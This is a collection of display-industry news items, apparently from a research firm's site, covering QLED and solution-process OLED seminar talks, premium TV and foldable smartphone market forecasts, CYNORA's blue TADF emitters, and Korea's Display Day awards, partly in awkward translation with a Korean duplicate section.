Professor Lee Chang-hee said that QLED had excellent color purity because half-width of QLED was narrower than OLED by approximately 20~30nm, and disclosed a fact that QLED was favorable in color reproduction due to high levels of accuracy when manufacturing it, and efficiency of luminescence material reached to regular levels to the degree of catching up OLED. However, he stated technical difficulties of Cd-free QLED which did not use cadmium, a heavy metal, together with securing life stability of QD (Quantum Dot) luminescence materials, and emphasized that investment on QLED is the shortcut of commercialization by saying “The time of commercialization could be moved forward to 5 years or 3 years according to capital and manpower investing scales from the industry.”

Senior Researcher Bang Ji-won pronounced luminescence efficiency of light-emitting materials, stability, non-toxic QD, and approaches by various directions such as QD-LCD which applied QD CCL (Color Change Layer) to blue-LED BLU (Black Light Unit) by using QD, OLED which applied OD-CCL and C/F (Color Filter) to WOLED, OLED that applied QD CCL without C/F to blue-OLED were being progressed.

QLED-related academia discussed about the potential of OLED positively in this way, but CEO Lee Chung-hoon of UBi RESEARCH said “Development of WOLED will be strived too because QLED has already been developed, and if brightness is more enhanced after being evolved to top emission method from current bottom emission one, QLED entry to premium market will become difficult further, and then pronounced “When new technology can enter the market, considerations whether new technology will be good from certain aspects including performance, efficiency, cost etc. shall be made in case of comparing them with the technologies having been commercialized ”

QLED에 대한 적극적인 투자, QLED 상용화의 지름길

지난 10 14, 서울 중소기업회관에서 개최 된 `QLEDSolution Process 프로세스 OLED 시장진입 가능성 분석 세미나`에서 서울대학교 이창희 교수와 한국세라믹 연구원 방지원 선임연구원이 QLED에 대한 현 상황과 개발 동향, 이슈에 대해서 의견을 공유하였다.

1610193

<서울대학교 이창희 교수>

이창희 교수는 QLED OLED보다 반치폭(FWHM)20~30nm 정도로 좁아 색순도가 우수하고, 제작 시 정밀도도 높은 수준이라 색 재현에 유리하다고 말하며, 현재 QLED용 발광 재료의 효율이 OLED를 따라잡을 만큼의 일정수준까지 도달했다고 밝혔다. 하지만 QD(Quantum Dot) 발광 재료들의 수명안정성 확보와 중금속 물질인 카드뮴을 사용하지 않는 Cd-free QLED의 기술적 어려움을 핵심 이슈로 언급하면서 업계에서 얼마큼의 자금과 인력 투자 규모에 따라 상용화 시점이 5, 3년으로 앞당겨질 수도 있다.”라며 QLED에 대한 투자가 상용화의 지름길임을 강조하였다.

1610194

<세라믹연구원 방지원 선임>

한국세라믹기술원의 방지원 선임연구원 역시 QLED용 발광 재료들의 발광 효율과 stability, Non-toxic QD에 대해 공통된 의견을 밝히고, QD를 이용하여 blue-LED BLU(Back Light Unit) QD CCL(Color Change Layer)을 적용한 QD-LCD, WOLED QD CCL C/F(Color Filter)를 적용한 OLED, blue-OLED C/F 없이 QD CCL을 적용한 OLEDQD material을 활용한 다양한 방향으로 접근하고 있음을 발표하였다.

이렇게 QLED 관련 학계에서는 QLED의 잠재력을 적극적으로 논의한 반면, 유비산업리서치의 이충훈 대표는 QLED관련하여 “QLED가 개발되는 만큼 WOLED도 개발에 힘쓸 것이며, WOLED 기술이 지금의 bottom emission 방식에서 top emission 방식으로 진화해 휘도가 더욱 더 향상된다면 QLED가 프리미엄 TV 시장에 진입하기 더욱 더 힘들어질 것이라며, “새로운 기술이 시장에 진입할 수 있는 경우는 상용화 되고 있는 기술과 비교할 때 성능과 효율, cost 등 어떠한 면에서 새로운 기술이 좋은지를 고려해봐야 한다.”라고 발표하였다.

WOLED will lead premium TV market after 2020

UBi RESEARCH held ‘An Analytical Seminar on OLED Market Entry Feasibility of QLED and Solution Process’ on the 14th at Seoul Small& Medium Business Center.

CEO Lee Chung-hoon of UBi REARCH said “OLEd TV will show 16.7% market share in 2016 at the world premium TV market, and lead premium TV market with 68.1% share in 2020.” and analyzed such like “LCD TV could not follow OLED TV performance excluding low price and high solution.”

161018_1

China is threating domestic LCD market in current wide TV market while displaying material superiority to LCD industry, and cost-effective rate of the wide TV is losing ground to Chinese products too. Thus, LG Display and LG Electronics did successful market entry after having equipped with competiveness in the premium market through OLED TV, and they are expediting mass-production investment and technical development aiming at dominating and popularizing premium TV market.

The most important factor in popularizing OLED TV is price. ASP (average sales price) of UHD OLED panel based on second quarter of 2016 is USD 720, and FHD OLED panel is approximately USD 450. It was expected that UHD OLED panel could lead TV market if it secured about USD 500.

Development to adopt solution process methods has been progressed in order to lower price of wide OLED panel in the industry, and QLED technology as an alternative of OLED TV is becoming an issue nowadays.

In relation with this, CEO Lee Chung-hoon forecasted like “As much as being closed to commercialization due to development of solution process OLED or QLED technology, WOLED technology becomes to be developed one step more, so market entry of solution process OLED and QLED will not be achieved easily. Specially, there are many technical issues in QLED which is considered as next OLED by Samsung Electronics, and 10 years of research will be required further.”

Also, he emphasized that the technology of being able to reduce cost vs. WOLED such as lessening layer numbers dramatically etc. should be developed in order to enter solution process OLED and market successfully, and the entry shall be made by targeting low-end market. In particular, he analyzed that WOLED would lead premium TV, and solution process QLED and QLED occupy the low-end market after 2020.

161018

<TV Market Scenario after 2025 (Source: UBi RESEARCH)>

Next to Bezel-less is full-screen, Prospect of 60% market share of full-screen OLED panel in 2020.

Smartphone displays have been diversifying as the hard wares and soft wares in smartphone have been improving. Samsung edge series have successfully entered the flexible OLED smartphone market and other smartphone companies now are manufacturing flexible OLED based products. Furthermore we are expecting a big change in the display market as Apple may release its new iPhone models with OLED in 2017.

According to a recent study “Key Issue and The Market Analysis for Foldable OLED” from UBI research, it is expected that bezel-less type of flexible OLED, which is an upgraded model of dual edge display, will lead the market until 2017 and then there will be new smartphones with various forms of displays as new types of flexible OLED like full-screen, foldable, rollable displays will be launched after.

Also, they expected that full screen displays will be invented by reducing the size of the top and bottom bezels as well as sides bezels and they will be leading the market afterwards.

Moreover, according to the report, they analyzed that the full-screen OLED panels will be at around 17% market share of total flexible AMOLED panel market in 2017 and it will reach around 60% while it will surpass the market share of bezel-less typed panels.

bezel-less2

Definition of each Flexible OLED type and the prospect of a market share (UBI Industrial Research)

Researchers also expected that there will be a strong chance that they will release new smartphones with foldable display in 2017 to see how the market reacts and they will get seriously start to manufacture mass production from 2019, taking consumers needs into consideration and anticipating the direction of technology and pace of change. In addition, the size of foldable smartphone’s market is expected to take up to 2% market share by 2020 as around 1.5 million foldable smartphones will be expected to be manufactured.

161012_2

History of each Smartphone display types. (UBI Industrial Research)

 

CYNORA Achieves a New Milestone in Efficiency and Stability of Blue TADF Emitters for OLEDs

CYNORA, a leader in TADF (thermally activated delayed fluorescence) materials, has developed new material classes that combine both, high efficiency and long lifetime, for blue emission. With these new achievements, the company is on track to reach the performance requested by the OLED industry. The commercialization of CYNORA´s TADF materials is therefore still planned for the end of 2017.

Earlier this year, in May 2016, CYNORA had established two blue emitter systems where one of them showed a high efficiency while the other showed a long lifetime. During the last 6 months CYNORA has made further, significant progress by combining high efficiency and long lifetime in a single blue emitter system. In an OLED device, the new blue material reaches 14% EQE (external quantum efficiency) together with a lifetime of 420h (LT80, at 500 cd/m2, λ < 480 nm). With this performance, CYNORA has now shown that blue TADF emitters can reach OLED display specifications soon.

“Our constant progress on blue TADF emitters was made possible by our growing team of TADF experts and by the close collaboration with CYNORA’s customers” says Thomas Baumann, CSO at CYNORA, “We have developed several classes of high performance TADF materials which we are currently optimizing for market readiness at the end of next year.”

CYNORA’s dopants are fully organic and designed for existing vacuum deposition. The company will adapt the blue TADF emitters for solution processing in a second step. With its blue TADF technology CYNORA will enable device makers to provide OLED displays with significantly increased energy efficiency and higher display resolution.

OLED is the trend in Korea from now on!

7th Display Day ceremony was held in the evening of October 4 at JW MARRIOTT Seoul. In the congratulatory message, Vice Chairman of LG Display Han Sang-beom, President of Display Association, stressed like “LCD industry of Korea surpassed Japan in 2004, and there is not much time left in being chased from China within approximately 10 years,’ and expressed his opinion that concentrating on OLED will be the best way so that display industry could do sustainable growth afterwards.

These atmospheres were revealed clearly to achievements of awardees. Responsible persons belonged to companies that have significant achievements on OLED were awarded including Bronze tower industrial order, Industrial service merit, Presidential citation, and Prime Minister citation.

10052

<From Left, Managing Director Lee Jong-hyeok of Samsung Display, Representivative Shin Dong-chan of INVENIA, Head of Research Center Yoon Soo-yeong of LG Display>

Representative Shin Dong-chan of INVENIA who won bronze tower industrial order was awarded for developing 8th generation WOLED deposition equipment, and Managing Director Yoon Soo-yeong, Head of Research Center in LG Display who developed 55inch transparent OLED together with Managing Director Lee Jong-hyeok of Samsung Display having developed OLED key technology were recognized as making Samsung Display occupy 97% of OLED market.

10052_1

Possibility for market entry of Solution process OLED and QLED with new technology of large surface.

Currently in the market of premium TV, OLED TV and QD- LCD industries are highly competitive.

QD vision with Nanosis and SID 2016 and IFA 2016 also emphasized quality of TV with QD material included comparing quality of OLED TV. Against this, LG Display joined the completion by emphasizing quality of OLED TV as an ideal display for HDR with comparison between QD-LCD and OLED in IFA 2016 with from SID 2016,

In current large surfaced TV market, LCD TV is taking overwhelmingly large share in distributed market while OLED TV gradually is growing large share in premium market.

In looking into strategies of each industry, large surfaced OLED is developing solution process OLED in order to achieve broader market share with from premium model to distributed model. To overcome weakness compared to OLED, LCD TV industry progressively use QD material with the final goal of development of QLED technology

As a competition in premium TV market gradually extends to entire area of TV market, present condition and possibility of market entry with solution process OLED and QLED is one of major interest.

For this matter, there is seminar host by Ubi Industrial Research with the theme of “analysis in possibility of market entry with QLED and Solution process OLED” in Medium sized business center, Yeouido, October 14th and will be discussing present market industry of large surfaced TV and panel and also will be dealing with present condition and issue of QLED and Solution process OLED, and future possibility of market entry.

Choong-Hoon Lee, president of Ubi Industrial Research, will suggest future direction of OLED industry with analysis of present condition and possibility of market entry in OLED and QLED.

Sung-Jin Jung, head of department of Du Pont, will be discussing the timing of market entry of solution process OLED with the demonstration of soluble OLED material, the essential part of solution process OLED, including present trend and up to date developmental technique

Professor Chang-Hee Lee and senior researcher Ji-won Bang from Korean Institute of Ceramic Engineering and Technology(KICET) will be discussing about advantage and developmental issue of Quantum dot material and direction of future development.

The seminar attracts attention in terms of providing an opportunity to share and discuss regarding issue through media and exhibition with technological and market perspectives of Ubi Industrial Research and share opinions and future possibility.

For registration and any inquiry, please contact to Hana Oh (hanaoh@ubiresearch.co.kr, 02 577 4940) from Ubi Industrial Research.

Portfolio Items